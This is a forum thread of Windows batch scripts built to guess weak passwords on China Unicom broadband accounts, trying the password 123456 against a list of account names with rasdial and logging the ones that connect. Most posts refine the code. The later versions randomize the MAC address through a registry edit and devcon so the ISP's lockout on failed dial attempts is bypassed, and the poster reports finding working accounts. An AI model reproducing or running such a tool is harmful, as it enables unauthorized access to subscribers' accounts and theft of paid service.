标题: [网络连接] 宽带检测批处理如何修改MAC,破解联通拨号限制? [打印本页]
作者: lionwick 时间: 2013-4-2 11:14 标题: 宽带检测批处理如何修改MAC,破解联通拨号限制?
本帖最后由 lionwick 于 2013-4-2 19:56 编辑
以前检测账号不限制错误次数,所以检测了很多账号,但现在基本上都被联通发现并禁用了,现在再重新检测账号时发现联通做限制了,错误一定次数后,联通禁止同一MAC地址在一定时间内(约12个小时)继续拨号了,我发现修改MAC地址后就可以再继续拨号。
所以我想请大神帮个忙,就是检测到拨号错误代码:676:电话占线,就随机修改MAC地址,再继续检测下一个账号。我的代码如下:- @title 免费上网
- @echo off &setlocal enabledelayedexpansion
- del 免费宽带账号.txt /q /f >nul
- set userfile=zh.txt
- set pppname=kdsm
- set outfile=免费宽带账号.txt
- echo.&echo ================================================================
- echo.&echo 正在扫描中,你可以做点其他的事情,可以最小化这个窗口!
- echo.&echo 但千万不可关闭这个黑色的窗口!
- echo.&echo 扫描完毕后此窗口会自动关闭的!
- echo.&echo ================================================================
- goto :pass1userx
- :pass1userx
- set pass=123456
- call :check0
- for /f "tokens=*" %%a in ('type "%userfile%"') do (rasdial "%pppname%" %%a %pass% >nul &set user=%%a& call :check1)
- goto :exit
- :exit
- rasdial %pppname% %user% %pass% >nul
- exit
- :check0
- rasdial|find "已连接">nul
- if %errorlevel% equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&goto :eof)
- goto :eof
- :check1
- rasdial|find "已连接">nul
- if %errorlevel% equ 0 echo>>"%outfile%" %user%
- rasdial %pppname% /d >nul
- goto :eof
复制代码
这是我找到的随机修改MAC后5位的代码,请大神看看如何:- set/a mac=%random%+10000
- set mac=000C29F%mac%
- set nic=本地连接
- reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v "NetworkAddress" /t reg_sz /d %mac% /f
-
- netsh interface set interface name="%nic%" admin=disable
- netsh interface set interface name="%nic%" admin=enable
复制代码
作者: lionwick 时间: 2013-4-2 11:31
本帖最后由 lionwick 于 2013-4-2 11:51 编辑
这样有用吗?请大神指点?- @title 免费上网
- @echo off &setlocal enabledelayedexpansion
- del 免费宽带账号.txt /q /f >nul
- set userfile=zh.txt
- set pppname=kdsm
- set outfile=免费宽带账号.txt
- echo.&echo ================================================================
- echo.&echo 正在扫描中,你可以做点其他的事情,可以最小化这个窗口!
- echo.&echo 但千万不可关闭这个黑色的窗口!
- echo.&echo 扫描完毕后此窗口会自动关闭的!
- echo.&echo ================================================================
- goto :pass1userx
- :pass1userx
- set pass=123456
- call :check0
- for /f "tokens=*" %%a in ('type "%userfile%"') do (rasdial "%pppname%" %%a %pass% >nul &set user=%%a& call :check1)
- goto :exit
- :exit
- rasdial %pppname% %user% %pass% >nul
- exit
- :check0
- rasdial|find "已连接">nul
- if %errorlevel% equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&goto :eof)
- goto :eof
- :check1
- rasdial|find "电话占线">nul
- if %errorlevel% equ 0 call :macxg
- rasdial|find "已连接">nul
- if %errorlevel% equ 0 echo>>"%outfile%" %user%
- rasdial %pppname% /d >nul
- goto :eof
- :macxg
- set/a mac=%random%+10000
- set mac=000C29F%mac%
- set nic=本地连接
- reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v
- "NetworkAddress" /t reg_sz /d %mac% /f
- netsh interface set interface name="%nic%" admin=disable
- netsh interface set interface name="%nic%" admin=enable
- goto :eof
复制代码
作者: lionwick 时间: 2013-4-2 13:02
回家试一下。
作者: CrLf 时间: 2013-4-2 20:07
为啥不试试呢...
作者: lionwick 时间: 2013-4-2 21:46
蛋疼,问题还是蛮多,不过退而求其次,不检测错误代码了。直接每检测一个账号就更换一次MAC。找到几个可用账号了。
作者: lionwick 时间: 2013-4-2 21:49
- netsh interface set interface name="%nic%" admin=disable
- netsh interface set interface name="%nic%" admin=enable
复制代码
上面这两行是在XP下无效的。
在微软下了个小东西:devcon。
用这个可以禁用和启用本地连接。- reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0001" /v
复制代码
这行代码中的0001要根据自己电脑中的实际情况修改。我电脑中是0009.
作者: lionwick 时间: 2013-4-2 21:51
最后修改成的代码是这样的:- @title 要免费上网吗?请加我的QQ:297393770
- @echo on &setlocal enabledelayedexpansion
- del 免费宽带账号.txt /q /f >nul
- set userfile=zh.txt
- set pppname=kdsm
- set outfile=免费宽带账号.txt
- echo.&echo ================================================================
- echo.&echo 正在扫描中,你可以做点其他的事情,可以最小化这个窗口!
- echo.&echo 但千万不可关闭这个黑色的窗口!
- echo.&echo 扫描完毕后此窗口会自动关闭的!
- echo.&echo ================================================================
- goto :pass1userx
- :pass1userx
- set pass=123456
- call :check0
- for /f "tokens=*" %%a in ('type "%userfile%"') do (rasdial "%pppname%" %%a %pass% >nul &set user=%%a& call :check1)
- goto :exit
- :exit
- rasdial %pppname% %user% %pass% >nul
- exit
- :check0
- rasdial|find "已连接">nul
- if %errorlevel% equ 0 for /f "skip=1 tokens=*" %%a in ('rasdial') do (rasdial "%%a" /d >nul&goto :eof)
- goto :eof
- :check1
- rasdial|find "已连接">nul
- if %errorlevel% equ 0 echo>>"%outfile%" %user%
- rasdial %pppname% /d >nul
- set/a mac=%random%+10000
- set mac=00238B7%mac%
- reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\0009" /v "NetworkAddress" /t reg_sz /d %mac% /f
- devcon disable net PCI\VEN_10EC
- devcon enable net pci\VEN_10EC
- ping -n 1 127.0.0.1>nul
- goto :eof
复制代码
自己动手丰衣足食。。。。。。。。。。。。。。
作者: lionwick 时间: 2013-4-2 21:58
联通的弱口令账号还是蛮多哦。移动和电信的没有试过。。。
欢迎光临 批处理之家 (http://bathome.net./) |
Powered by Discuz! 7.2 |